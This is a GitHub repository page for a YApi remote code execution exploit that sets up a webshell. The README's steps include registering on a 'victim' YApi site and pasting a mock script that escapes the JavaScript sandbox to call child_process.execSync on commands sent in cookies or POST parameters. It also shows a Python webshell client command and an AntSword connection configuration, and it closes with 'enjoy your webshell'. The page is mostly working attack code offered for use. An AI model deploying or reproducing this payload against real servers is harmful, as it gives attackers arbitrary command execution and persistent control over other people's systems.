Skip to content

Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小

Notifications You must be signed in to change notification settings

Esonhugh/yapi-rce-webshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

yapi-rce-webshell

Yapi mock script RCE another version. Webshell way.

YMFE/yapi#2099

funny things

usage:

  1. victim yapi website
  2. register account
  3. craete project and create api in it
  4. create mock script like
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
// you can also add exec function to do some async jobs like running enum scripts
  1. use python script to connect webshell and interactive
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode
# or
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}

AntSword-like Alternative

  1. Same as usage
  2. But Create an API With Advanced Mock POST Method.
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(params.data).toString()
// you can also add exec function to do some async jobs like running enum scripts
  1. Open AntSword
  2. Create with Config like
  • Type: CMDLINUX
  • Pass: data
  • URL: mock url in Yapi config
  • encoder: default
  • decoder: base64
  1. enjoy your webshell

About

Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages